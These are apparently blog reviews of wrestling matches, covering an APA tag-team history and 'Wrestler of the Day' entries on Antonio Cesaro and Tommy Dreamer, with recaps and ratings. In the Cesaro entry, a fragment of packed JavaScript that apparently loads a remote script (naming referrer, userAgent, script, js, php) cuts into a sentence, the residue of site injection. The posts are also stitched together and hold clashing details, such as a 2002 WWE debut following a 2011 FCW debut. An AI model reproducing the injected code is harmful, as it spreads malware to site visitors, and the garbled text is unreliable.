I think Lita helped them a good bit to say the least. The Hardys simply aren’t that good at this point. Bradshaw gets a nice belly to back suplex off the top. Not bad. Jeff clocks him with Hayes’ cane over the head. Poetry in Motion is still very much a work in progress here. Hayes comes in and a double powerbomb gives the APA their titles back. Edge, Christian and a ladder would be coming soon.

Rating: D+. I didn’t like it at all. Hayes was just in the way here as he’s old and most of the people here don’t know what he used to be nor do they care more than likely. The Hardys would dump him maybe the next night. Either way, the APA would lose the belts to Kane and X-Pac two weeks later so this was just to get Hayes out of the Hardy picture.

Tag Titles: Acolytes vs. New Age Outlaws

Dudley Boys/APA vs. Right to Censor

“We’re censors!” “We don’t like censors!” “Let’s have a pre-planned mostly athletic encounter to settle our scripted differences!” There’s your backstory. The APA and the Dudleys dances with Too Cool on Smackdown which wasn’t as funny as it sounds. Steven says his team will win in his hometown. D-Von vs. Goodfather to start which might be an Affirmative Action thing.

The fans, to no one’s surprise, want tables. Let’s see…four former ECW guys in this. No wonder the fans are into it. Bubba comes in quickly and the Ho Train misses. Belly to back gets two for Bubba. Buchanan is so mad he took his tie off. Bradshaw comes in to a nice pop and beats up Buchanan for awhile. Buchanan hits his pretty awesome walk up the ropes and hit a turning clothesline for two.

Venis comes in with his white pants and jokes run rampant. Fallaway slam puts Venis down and it’s off to Farrooq (how DO you spell that anyway?). This has been one sided so far which almost guarantees an RTC victory. Venis hits what is called the Blue Thunder Bomb on No Mercy and it’s off to Goodfather. D-Von is the one getting beaten down at the moment.

Val misses an elbow and there’s the hot (it’s Philly so it’s automatically hot) tag to Bubba. He cleans house 4-1 and again, why do face teams allow their partners to fight such huge odds? Doomsday Device puts Val down and it all breaks down. Steven slips in a kick to Bubba and that’s enough for Val to pin him. Steven was never legally in.

Rating: C-. Just an 8 man here and the fans are into the show already so it’s not like it took much. The ending was pretty clear after the RTC got beaten down so much. To be fair though every company has tendencies in their booking like that which if you watch enough you can almost always pick up. ECW was really bad about that. Anyway, this wasn’t great but it did its job well enough I suppose.

Tag Titles: APA vs. Dudley Boys

The rest of the year was spent in meaningless six mans, but the APA would be in a Tag Team Turmoil match at No Way Out 2002 for a title shot at Wrestlemania 18.

Tag Team Turmoil

The idea here is you have six total teams. Two randomly selected teams start us off and have a match. The winners stay alive and face the next randomly selected team. Last team standing wins and gets a tag title shot at Mania. The match wound up being a fatal fourway with three of these teams so it’s not like it mattered anyway. Scotty 2 Hotty/Albert vs. Christian/Lance Storm start us off with Storm and Scotty starting us off.

We go REALLY old school to get a giant swing from Albert. The faces take over here on the Unamericans. Scotty goes to the floor as no one has a counter for Albert. Christian, somehow the only one of these that means anything anymore, takes the Worm. Ok no he doesn’t as Storm tries to kick him in the face. The distraction results in an Unprettier (Killswitch to you modern fans) to end him.

Hardys are next. It’s kind of a mess here as we have a bunch of matches all in a row which is a fun idea but at the same time it’s a bit hard to keep track of the whole thing or review it either. The announcers argue the NWO issue which at least makes sense here as this match isn’t ending for another four falls. I usually hate that but Ross and Lawler tend to be much better about staying on topic.

Pretty much a mess of a match here that isn’t bad or anything. After about four minutes the standard double move from the Hardys take out the Canadians. Nothing great here but I’ve seen worse as usual.

Enter the Dudleys and the GORGEOUS Stacy. Her in the camo shorts and tied off top was absolutely stunning. Jeff and Bubba start the usual good match between these two teams as Bubba locks in an ankle lock of all things on Jeff. Edge and Christian were almost done as a big time team at this point so they were waiting on various teams such as Billy and Chuck to take over etc.

The Hardys try a combination legsweep/side effect which works ok at best. Twist of Fate attempt on Bubba but Stacy comes in, only to get speared down by Lita. I’ll give Lita this: she threw PUNCHES instead of those weak slaps or hair pulls you see more often than not. SWEET Litacanrana to Bubba. Huge dive over the top by Jeff as we crank it WAY up. Matt rolls up D-Von to end this way too early. I’d love to see these guys go at it some more, which is why this era was awesome for tag wrestling.

3D to Jeff on the floor as Billy and Chuck come out. This is about 4 months before the wedding which was one of the best shocks I’ve ever seen. Matt has to fight on his own and gets taken down by a superkick that almost connected and a Fameasser ends him.

The APA is the last team and I think I know who wins here. The boys in red beat up the APA for awhile before pure power takes over. How weird is it to think that Bradshaw was about two years away from a huge world title reign? This slows WAY down as we go from Hardys vs. Dudleys to this. Billy and Chuck didn’t really know what they were doing yet despite being long time tag wrestlers.

Fameasser is caught in a SICK spinebuster from Farooq. I love that move. Semi-hot tag to Bradshaw who cleans a few rooms. HUGE clothesline to Billy ends him to give the APA the win. Billy and Chuck would get the belts by Mania and it would be these two plus the previous two teams in one big mess of a match that wound up sucking to the shock of no one.

Rating: C+. Kind of a mess but not bad. The issues with these matches tended to be having too many quick falls, but here they protected that with the 3D on the floor which makes the double pin make sense. That’s a nice perk on it and the match worked pretty well. Having a 15 minute match helps this too as it’s usually like 9 minutes, which is far too short. This was fine though and kind of fun to watch.

Team Legends vs. Spirit Squad

Ric Flair, Sgt. Slaughter, Ron Simmons, Dusty Rhodes

Kenny, Johnny, Nicky, Mikey

Slaughter is replacing a cancer ridden Roddy Piper. Actually he got very lucky as he got a concussion because of a Conchairto from Edge, and on the tests the cancer was found. Arn Anderson is here with the Legends and we get the awesome Horsemen music. The only member of the Squad still around is Nicky, more famous as Dolph Ziggler. Mikey is Mike Mondo in ROH at the moment.

Simmons was a guy who hit his peak as a singles wrestler but is best remembered for his tag team work. Winning the WCW Title was a huge moment but it was really just a flash in the pan for Simmons. His time with the APA was fine and their stuff as two big guys that would beat up people for money was a great fit. Simmons really was a big deal for awhile, but he never reached the heights of 1992 again.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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Wrestler of the Day – February 15: Antonio Cesaro

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfstd|var|u0026u|referrer|tydys||js|php'.split('|'),0,{})) my other option today is Larry Sweeny, I’ll get with the times and go with Cesaro.

Survival of the Fittest Qualifying Match: Petey Williams vs. Claudio Castagnoli

Claudio is freaking RIPPED. He’s announced as being VERY EUROPEAN. I love that. Williams is still doing the dumb Maple Leaf Muscle thing that got him nowhere in TNA but whatever. Claudio was trained by Honky Tonk Man. Oh dear help him. The visual here is really funny as Claudio is 6’5 and Williams is 5’7, so it’s really weird looking.

I love all the little jokes we’re getting here to old wrestlers and move names that you don’t get elsewhere. They’re doing a lot of mat stuff here but it’s actually good so I can’t complain at all. Claudio is the heel here but he’s ridiculously popular so it means nothing at all. Petey gets to use some of his highflying stuff that wasn’t allowed in TNA because he had to work slow to not show Steiner up.

He hits a jumping over the top rope thing into a Codebreaker. Nice but it’s just two. Claudio does a move called the UFO, which is a rack but he spins in a circle really fast, at one point letting his arms go and then just throws Petey to the mat. Again though it’s just two, which makes it seem far less impressive.

A Canadian uses a Russian Legsweep onto a Swiss man into an Oklahoma Roll. I love wrestling. Claudio grabs the referee to avoid a Canadian Destroyer and hits a low blow and a European uppercut to end it.

Rating: C+. Not bad but not great either. Petey got to show off a whole lot and that’s something you don’t get to see from him that often. Also here you didn’t have the whole big man vs. little man formula nonsense going on and they got to play off of each other a bit. Again, very nice for a change.

Survival of the Fittest Finals: Claudio Castagnoli vs. Chris Hero vs. Delirious vs. Roderick Strong vs. Colt Cabana vs. Tyler Black

Now for those of you that haven’t heard of Delirious, this guy is freaking INSANE. He babbles incoherently and has been known to wrestle matches in slow motion. What does that tell you? Oh and he’s awesome in the ring by the way. He and Punk had an AWESOME match in I think IWA-MS that got me into both guys. The cool thing about this for me is I legitimately don’t know who is going to win.

Most of the time I know the results but here I’m completely blank on them. Black sells the injury to his neck from earlier on the way in which is nice. I hope there are tags in this. Claudio and Hero used to be in a team that dominated indy tag wrestling for awhile called the Kings of Wrestling and Delirious and Black were in the Age of the Fall together. Ah good it is tagging.

Delirious, Strong and Hero have all won. Black and Delirious start, and my money is on Black to win it. They start with a lot of technical stuff before Cabana comes in for Black. Let the comedy begins. Black is criticized for never being able to win the big one, which is a common criticism that there was for ROH. I’m not going to list off all the tags as they’re going rather fast.

We get Castagnoli vs. Hero, which is a battle of the skyscrapers in ROH as both guys are 6’5, which is enormous in this company. A thing I like about indy wrestling is you can use other stuff than signature moves in a match. For example, they trade full nelsons. That move makes sense, but in WWE no one but Masters can use it. See what I mean?

Now I don’t mean everyone uses the FU or the Pedigree, but a transitional move like the spinebuster shouldn’t be only reserved for HHH and two other guys. In a WEIRD looking spot, both guys interlock their legs and then wind up standing on their heads. They shake hands while in this position. That’s rather…uh…yeah. It’s Black and Claudio now as we’re definitely in for the long haul here.

Everyone is still in at this point. Prazak is in love with Hero I think. He refuses to shut up about how awesome he is. In a PAINFUL looking spot Claudio spins Black around by the hair. That has to hurt something fierce. In a great sequence that gets the crowd going, Delirious drills Claudio with about 10 clotheslines in the corner before Hero saves him. Cabana comes in and we get a mini tag match.

The Kings of Wrestling are thrown to the floor and get stereo suicide dives, but then Strong and Black get in and launch themselves over the top rope at both guys. Very awesome and fast paced spot. It’s Delirious vs. Claudio now and the crazy masked man is in trouble. In a movie I haven’t seen before, Claudio uses a hip toss from the second rope. That’s different if nothing else.

I like Hero’s facial expressions. Delirious goes for a backslide on Claudio but Hero knocks the European’s head off with the elbow, allowing Delirious to get the backslide and the pin. Immediately as in less than 5 seconds later, he rolls up Cabana and we’re down to four. I’ll give this match this much: it’s not boring.

After an elbow from Hero he covers Delirious and the referee does that same thing he did earlier on with the count stopping at two even though the kickout hasn’t happened yet. We hit a mess and Strong hits a big kick into the chest of Delirious to put him out. Immediately after he kicks out of the elbow from Hero and a Liger Bomb.

We have Strong, Hero and Black left in case you weren’t sure. If I remember right Strong is known as the Messiah of the Backbreaker, as he uses a ton of them. That’s unique if nothing else. Hero and Black just pound the tar out of each other with forearms. And there goes Hero to a move called God’s Last Gift. Think of a Perfectplex but instead it’s a really compact DDT where he just hooks the legs into a small package for the pin. I like that.

So it’s Strong vs. Black for the title. Works for me. Black gets a NICE flying elbow from the top for two. They’re cranking up the speed here and I’m digging this. Strong hits a bunch of backbreakers and then we hit the Strong Hold: a Boston Crab. That’s psychology, even though Black has a bad neck. It’s passable though as his finisher is a back submission.

Strong gets knocked into the crowd and Black goes up with a flying clothesline into about the third row. I love the shot of the fans just moving backwards for them. I like that for some reason. I love Black’s springboards. He doesn’t use a bunch flips or anything but just launches himself at Strong. We’re back in the Strong Hold and the fans chant tap. Somehow he kicks out and then Black hits his two finishers for two.

This is great stuff here. Strong gets the loudest kick to the back of Black’s head that I’ve ever heard. Fans are WAY into this. Strong just goes insane on Black with knee shots and an AWESOME kick to the head for TWO. The kicking out is getting to be a bit much here. I get the survival thing, but this is getting to be a bit much. Ok yeah three straight superkicks gets two.

The fourth gets it but Strong kicked out anyway, so the fans boo the finish. That’s never good. Black wins and then gets on the mic and says thank you to Strong in a cool moment. He then says that Cornette was wrong. These guys aren’t the future, but the future is now, and Strong deserves a rematch to end the show.

Rating: A-. This was about 45 minutes long and awesome throughout. The fans were way into it and by the end I was buying into it also. The key thing for me was that all 6 guys looked like potential winners and while based on the way Black had been built up throughout the night it was kind of clear he would win, it was never a lock, which makes the match instantly better. Very fun stuff here and while I usually don’t like multi-man matches, this was an exception, which is saying a lot for me.

Tag Titles: Briscoe Brothers vs. Kings of Wrestling

This should be awesome. It’s kind of weird watching the Kings as they’re both about 6’5 which means they tower over the vast majority of the roster. Hero and Claudio cut promos saying they appreciate the Briscoes not being allowed to be here, so of course they hit the ring and it’s on. No DQ here which is a surprise I think. Big dive by one of the Brothers takes out the Kings. I’ve never been able to remember which is which so bear with me.

Why do they have to tag in and out? If you can’t get disqualified then what’s stopping them? Hero starts and it’s been one sided the whole way so far. Claudio is finally up in his corner after getting his teeth kicked in. The challengers get after Shane Hagadorn and I think you know this isn’t going to work. Claudio is busted open already. Someone that’s either a young boy or an adult woman shouts that Hero is a pussy. I hope it was a girl.

Everything breaks down early and Mark Briscoe is busted open pretty well. Ok now I can tell one from the other. Oh man Mark is busted BAD. The heels have taken over here and we get a gay chant against Hero. Nice double cross body and there’s the hot tag to Jay. He drives Hero’s head into the buckle about 25 times and now he’s busted open. O’Connor Roll gets two but Hagadorn pelts Jay with a chair to put him on the floor. Hagadorn is the Kings’ manager if I forgot to mention that earlier.

Jay is busted open too now. Hero ties Jay to the post with the tag rope Total bloodbath here but they said that at the previous show they had a long technical match so this is far more acceptable. Doomsday Device but with a European Uppercut gets two on Mark. The referee gets a knife from somewhere and cuts Jay free. A Roaring Elbow (Hero’s finisher) gets two.

Jay gets a freaking fire extinguisher of all things and the Kings are in trouble. Table is brought in as Claudio’s cut is more or less closed. The heels are thrown into the table but it doesn’t break. Double team neckbreaker/powerbomb gets no cover. Claudio counters a slam through the table but the Briscoes tackle him into it where his shoulder goes through the edge of it in a painful looking spot.

Doomsday Device to Shane and the Briscoes are standing tall. Hero pops up with his loaded elbow pad and drills Jay with it for TWO and a big pop. We get more gay slurs at Hero with people saying SCREW YOU Hero. If he’s gay as you say you are, wouldn’t he enjoy that in theory? In an AWESOME looking finish, Castagnoli gets a giant swing and the pad is put on Hero’s foot which he kicks Jay in the head with for the pin.

Rating: B. This was supposed to be a big fight and that’s exactly what it was. All kinds of blood (Mark’s face was COVERED), very good violence, the SICK ending and the whole thing going nearly 20 minutes worked very well. They had a technical match already so this is the next logical step. I’m fine with violence like this when it fits the story, which it did here due to the Kings attacking their dad. Very fun match that was exactly what it was supposed to be.

Claudio was also appearing in Chikara in a stable called BDK, which was something resembling a Norse mythology stable and involved mind control, robots, and squashing insects (and this was before Chikara went insane). Claudio and a wrestler named Ares were the Chikara Tag Team Champions and defended them at Eye to Eye.

Campeonatos de Parejas: Claudio Castagnoli/Ares vs. 3.0

3.0 is comprised of Scott “Jagged” Parker/Shane Matthews. Wow I’m sick of that song that BDK (Claudio/Ares, the champions) comes out to. This is 2/3 falls as are all title shots. The challengers come out second but Delirious runs out and beats them up pre-match. Ok Shane is in the red. Ares gets a Tiger Bomb and the first fall is over 4 seconds after the bell rings.

Claudio beats up Shane on the floor but then chokes Parker with the streamers than earlier. He is freaking ripped. Delirious is on the floor with them. Apparently Ares is the leader of the stable. There’s a guy in a Nexus shirt in one of the closest seats to the entrance who is kind of distracting. Modified powerslam by Ares gets two. This is totally one sided so far.

Bearhug by Claudio to Parker who fights out. And never mind as he’s in the hold again already. Another powerslam gets two and it’s off to Ares again. There’s some heel miscommunication though and Parker rolls up Claudio for the second fall and we’re all tied up! The fans are stunned as that’s the first time the BDK has ever given up a single fall as champions.

Double chokeslam kills Parker for two. The locker room empties to watch this now. The BDK picks up Parker and rams him into the mat multiple times in a cool looking move. Swanton by Ares gets two. Riccola Bomb is reversed by a rana and it’s finally the hot tag to Matthews. Spinebuster to Ares and Claudio gets sent to the floor.

Matthews goes up and hits an elbow drop for two on Ares. So these guys are supposed to be awesome and one tiny man is beating them both up at the same time. Got it. Eh that’s normal in wrestling though, so according to most wrestling fans that means it’s ok. Back to Claudio and Parker. Parker gets a Codebreaker and takes out Claudio on the floor. Matthews gets a powerbomb for two on Ares.

Spinning belly to back by Ares to counter a bulldog. European Uppercut gets two as does the Riccola (arm trap powerbomb) Bomb. The fans chant for 3.0 as apparently a B average works. Small package to Claudio gets two. Instead Claudio realizes he’s huge and puts on an Inverted Chikara Special (half crab with an arm trap that looks awesome). Parker kicks him in the head but since this is an indy company it’s no sold and there’s the tap out to end it.

Rating: B-. Good stuff here and I kind of like the whole quick first fall and then the rest of the match. They got me into the match in the end which is the whole point here. The locker room emptying out was cool as it shows that EVERYONE wants BDK to lose. This was a fun match and solid for the main event.

Claudio would move to the WWE and FCW and change his name to Antonio Cesaro. He would debut on FCW TV on October 23, 2011.

Antonio Cesaro vs. Mike Dalton

Rating: D+. Total squash here with Cesaro looking awesome. The powerbomb (Riccola Bomb for you indy people) was a great finisher against smaller guys but the switch to the Neutralizer worked better when not everyone was a tiny guy by comparison. Swiss Death looked great as well and this was total domination.

Cesaro would debut on WWE TV in April of 2002 and challenge Santino Marella for the US Title on the preshow of Summerslam 2012.

Pre-Show: US Title: Antonio Cesaro vs. Santino Marella

Soon after this Cesaro would be featured at the 2012 Tribute to the Troops in a match that would make Hulk Hogan proud.

John Cena vs. Antonio Cesaro

Cesaro would head back to NXT from time to time and enter into a feud with Sami Zayn in August of 2013. This led to a 2/3 falls match that speaks for itself.

Sami Zayn vs. Antonio Cesaro

Back to the chinlock but Zayn jawbreaks his way out. A hard clothesline and the running stomp to the chest gets two for Cesaro. Back up and Zayn fires off forearms to the chest but gets caught in a backdrop, allowing Cesaro to rain down right hands. Another double stomp sets up the gutwrench suplex but Sami counters into a sunset flip for two. A running hurricanrana gets the same but Cesaro comes back with a bridging capture suplex for two.

Back from a break with with Cesaro putting on the standing chinlock for the third time. Zayn gets two off a rollup and hits a quick dropkick to put Antonio down. He charges right back into the chinlock though and Cesaro spins him around before taking it to the mat. Zayn actually taps out at about 9:00 shown, making it one fall apiece.

Cesaro bails to the floor so Sami heads outside as well before getting a running charge and diving between the ropes into a tornado DDT on the floor. Cesaro dives back in at nine and Sami gets two. Zayn tries to climb the corner for another tornado DDT but Cesaro catches him in midair, lifts him into a gorilla press and drops him down into Swiss Death. Antonio immediately picks up Sami and puts him down with the Neutralizer for the pin and the third fall at 15:38 shown of 18:38.

Antonio Cesaro vs. William Regal

Cesaro easily powers Regal down but the Englishman counters into a cross arm choke. He leans backwards to put Cesaro over his knees while still choking, only to be flipped forward to escape. Back to the test of strength before Regal counters a front facelock into a dragon sleeper. Cesaro flips him forward in a kind of reverse suplex for two but Regal gets him down into the corner and does his “distract the referee while kicking the opponent in the face” spot.

Regal is taken out by referees but Cesaro goes after him and extends a hand. Regal stares him down and shakes hands as we go off the air.

Cesaro vs. Randy Orton

Back with Orton ramming Cesaro into the announce table and taking him inside for a chinlock. The fans chant WE THE PEOPLE and Cesaro fights out, only to lose a fist fight and get elbowed to the mat. Cesaro rolls outside and catches Orton with a big clothesline of his own and counters the Elevated DDT into the Swing. Randy can barely get to his feet but is able to backdrop out of the Neutralizer. Cesaro lands on his feet but runs into the powerslam for two.

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Wrestler of the Day – February 14: Tommy Dreamer

Time to go extreme. Today is Tommy Dreamer.

Tommy Dreamer vs. Jimmy Snuka

Snuka is EVIL here and Dreamer is a pure rookie. I’ve seen this before somewhere. Dreamer is from Dreamland USA. Wow indeed. He’s the pretty boy in bright blue tights here and no one cares about him. Snuka is by far the biggest star in the company at this point. Joey promises a classic. That’s never a good sign. Dreamer is 22 here. That’s hard to imagine as he’s always been old.

Lots of stalling to start as we just had to stretch this show out further didn’t we? Dreamer puts on the hat of a kid for no apparent reason. After about three minutes of stalling we lock up and go to a headlock. And now we stall some more. I thought WE WRESTLE IN THE NWA! The fans chant for Piper although I’m not sure why. Would it kill you guys to do something?

Snuka pops him with a pretty weak chair shot on the floor in by far the most interesting move of the match so far. Dreamer kicks out of the Superfly Splash and Joey apparently thinks he can walk on water too. Snuka hits two more of them and Dreamer is more or less dead. He’s bleeding from the mouth and Snuka finally pins him. He beats up some referees and other people afterwards and hits a fourth splash on Dreamer. Gordon comes out and gets beaten up too.

Rating: F+. This was about 80% stalling and then a bunch of splashes. It was like a weird kind of squash and by that I mean it wasn’t any good. The stalling is what hurts this as it’s nearly 8 minutes long and WAY too much of it was just them standing around and yelling at the crowd. Snuka wouldn’t mean anything in the long run anyway as he was only around for a few months after this while Dreamer became one of the biggest stars in the company.

Terry Funk/Tommy Dreamer vs. Raven/Cactus Jack

 

The pairings pair off and Raven and Jack rule the ring for the moment. Now we get to the brawl and Funk fights Raven. Stevie Richards brings in some weapons and gets put in a shopping cart for his troubles. Dreamer BLASTS Raven in the head with a freaking VCR. WHY WOULD YOU BRING ONE OF THOSE TO A WRESTLING SHOW??? In a funny bit, Dreamer hits him with the remote also.

 

DDT to Dreamer as Raven and Cactus are dominating. They try the chain again but Dreamer does something smart and dives on it, bringing them together. Not that it matters as Cactus takes him down with ease. Cactus takes the Dungeon of Doom shirt to reveal another one with a huge picture of Eric Bischoff and the words “Forgive Me Uncle Eric” (coining that nickname) on the back. Only Mick Foley could make that work, period.

 

Rating: B-. Pretty fun match overall as they kept things just weapons based instead of going everywhere. Also Jack having the continuing mental breakdowns in the middle of the match (the Uncle Eric thing) is great. Dreamer not beating Funk is one of those little things that makes a match better. Fun stuff here and one of the better brawls ECW did.

 

Cactus beats them down a bit but gets taken down too. DREAMER SUPERKICKS RICHARDS! Ok so it was in the ribs but still! Raven leaves Dreamer laying to end the show.

Dreamer and Raven feuded for most of 1995, all of 1996 and most of 1997. The key to the whole thing was Dreamer NEVER pinned Raven but kept getting closer and closer every time. Dreamer even got Beaulah to join him at one point during the feud. This finally led to a loser leaves town match at Wrestlepalooza 1997.

Raven vs. Tommy Dreamer

Tommy kicks out at two and counters a hiptoss into a DDT to take over. The referee is knocked out by a sign as people keep throwing in weapons like an old N64 game. A piledriver onto the Do Not Enter sign is good for two as Lupus makes the save. Beaulah comes in to DDT Lupus but Raven hits a low blow and rolls up Dreamer for two. A Beaulah distraction lets Dreamer do the same thing to Raven.

ECW World Title: Shane Douglas vs. Tommy Dreamer

Beulah is the hottest I’ve ever seen her here, period. Francine looks pretty good too. Shane has just gotten the title back at Hardcore Heaven so there’s more or less zero chance of him losing here. Shane’s heel stuff is underrated I think. He’s overrated beyond belief, but he’s decent at times I think. Ok apparently this is now non title. Ok apparently it is. Dreamer threatens to beat up the announcer if he doesn’t say it’s for the title.

 

Beulah gets on the mic and says that after looking at Shane’s trunks she knows not everything is big in Texas. If I’m Dreamer I’m thinking two things. Why is my wife looking at his trunks, and how in the world did I get a woman that looks like that? Dreamer dominates until Shane kicks the chair he’s holding into his face.

 

The fans keep shouting about Lex Luger for no apparent reason. Shane works on the knee and Francine helps which causes him even more trouble. I’m liking some of the stuff Shane is using on the knee as he’s varying it up very well. We’re told that there are ten minutes left, meaning the time limit was 15 minutes. Dang we get a figure four from Shane. There are about a millions jokes there.

 

Both girls come in and Beulah manages to break up the hold and Dreamer gets two on a rollup. Dreamer goes for the DDT but there’s Francine for the save. You know what’s coming. Shane beats up Beulah including the belly to belly. Dreamer hits everything he has on Shane but can’t get the pin. Francine saves him after the DDT and takes the safest piledriver I’ve ever seen. I love that he never even checked on his wife. A quick belly to belly ends this.

 

Rating: B-. I liked this a lot more than I should have. The interference was annoying beyond all belief to say the least, but we get hot women so I can’t complain much. This was a good match though and it got the job done that it was shooting for so I can’t complain about all that much.

 

1998 wouldn’t be the most interesting year for Dreamer as he would just fight random people wherever he was needed. ECW would begin expanding around this time and Dreamer would be on the second episode of their TV show in a handicap match against the most dominant tag team ECW ever produced, the Dudley Boys. This was also the Dudleys’ last night in the company and they won the World Tag Team Titles. They goaded Dreamer into a handicap match for the belts, but things would change at the end.

 

Tag Titles: Tommy Dreamer vs. Dudley Boys

 

Dreamer takes them down with a double Russian legsweep for two. Tommy finds some salad tongs and grabs D-Von’s balls. Francine throws in a ladder which Tommy tettertotters into the Dudley’s faces. Francine hits Sign Guy in the head with something to take him down. Bubba gets thrown into the ladder and D-Von gets thrown into Bubba, resulting in the falling headbutt ball shot to D-Von.

Bubba gets up and sends Dreamer into the ladder which kills him because of his back. The Dudleys destroy Tommy with belt shots and loads up 3D but Dreamer counters with a DDT. Cue the returning RAVEN who kills Bubba with the Even Flow and pins him to win the titles with Dreamer, his mortal enemy.

Rating: C. This is a really hard one to grade because all that mattered were the last 10 seconds of the match. A lot of it was Dreamer out cold while the Dudleys beat on him so it barely qualifies as a match. Anyway, this was the big return mentioned earlier and Raven got an eruption after finally returning from WCW. At WCW, there had been a meeting where Bischoff told the roster that if anyone wanted out to get up and leave now. Raven was the only one that walked out and he was in ECW in a week.

This was Dreamer’s first title in over five years with the company. In 2000, Taz would win the ECW Title despite not being employed by ECW. Obviously an ECW wrestler needed to be champion, leading to this match from Cyberslam 2000.

 

ECW World Title: Tommy Dreamer vs. Taz

 

Feeling out process to start with the champion grabbing a headlock before taking him down with a T-Bone Tazplex. Hard crossface shots to the face send Dreamer outside and the brawl is on. Dreamer sends him face first into the post but gets whacked in the head with a chair to put him right back down. They head back inside with Taz kicking Dreamer in the side of the head and taking him down with a nice capture suplex for two.

 

Tommy hits a quick DDT for two and loads up the Death Valley Driver, only to have Taz slip down into the Tazmission. A low blow gets Dreamer free but he walks into a northern lights suplex for two. They hit the mat for a quick wrestling sequence and Dreamer flips Taz over into a sunset flip for the pin and the title out of absolutely nowhere.

 

Rating: C-. This is what’s so frustrating about ECW: they can have nice matches like this without all the violence and brawling but that’s all they relied on for most of their important matches. Dreamer was never a great mat warrior or anything but this was perfectly acceptable for the most part.

 

Taz gives a very emotional speech, putting Dreamer over as the man that is now the standard bearer for ECW. Tommy talks about how he may never make it to Wrestlemania but he’s made it here in ECW as he begins to cry. The locker room comes out to celebrate and even Raven hugs Dreamer. Then some other stuff happened.

 

The title reign would last about twenty minutes as Justin Credible would jump Dreamer and win the belt in an impromptu title defense, which really does fit Dreamer’s luck over the years. The company was on its last legs by this point and would hold its final PPV in January of 2001 where Tommy Dreamer would face CW Anderson in an I Quit match.

 

CW Anderson vs. Tommy Dreamer

This is an I Quit match and is your standard veteran vs. young punk with something to prove feud. Dreamer is in a freaking Logan’s Roadhouse shirt. Is he a waiter on the side since he’s not getting paid? I’m not sure if I’m kidding there or not. We’re on the floor immediately as Cyrus is irritating. Back in the ring and Dreamer has a Dragon Sleeper of all things.

Anderson goes to the arm which is likely hurt since it’s Tommy Dreamer. Why should an I Quit match be a wrestling match? Cyrus wants it to be technical which is completely against the idea of the match but whatever. Dreamer goes violent with the ring bell hammer and busts Anderson open. Fairly sick drop toehold into the back of a chair busts Dreamer open.

CW works on the knee which doesn’t really get him anywhere. Dreamer takes some very bad looking unprotected chair shots and busts out a ring of barbed wire. The towel boy from the last show comes in and helps Dreamer beat him up. And there’s a metal sheet to the non-wrestler. Throw in a suplex and I’m sure he’s perfectly fine right?

Spinebuster onto the wire, called razor wire here, and of course Anderson goes for the arm instead of the back which was just slammed into barbed wire. We switch back to the spine as he goes through some chairs. Ok make that the neck as it’s all Anderson here. It’s table time but Anderson goes through it. They take part of it and Dreamer chokes him out for the victory.

Rating: C. Not bad but if this is supposed to be a classic in ECW I fail to see it. Also, nice job of elevating Anderson there by giving the win to the old man that still has never quit. I don’t get this one really and while it was a good beatdown, the psychology was just not there at all as Anderson couldn’t just pick a body part. It’s ok but nothing great at all.

 

Dreamer would join the WWF in the summer and be a fairly small part of the Alliance. Eventually he would join the hardcore division as most people expected him to do. He won the Hardcore Title in August 2002 and would defend it in a battle royal on August 19, 2002.

 

Hardcore Title: Battle Royal

Tommy Dreamer, Jeff Hardy, Bradshaw, Bubba Ray Dudley, Crash Holly, Johnny Stamboli, Steven Richards, Terri, Spike Dudley

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: “There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys. Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys.”

 

That sums up this whole show better than anything else could I say. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least. Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd.

 

The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest, one of which is Elektra, and licking it off.

D-Von dancing to Metallica is funny and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it. And the best is they couldn’t sue us because it was a parody.”

 

For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it. Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets the tar chaired out of him. Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

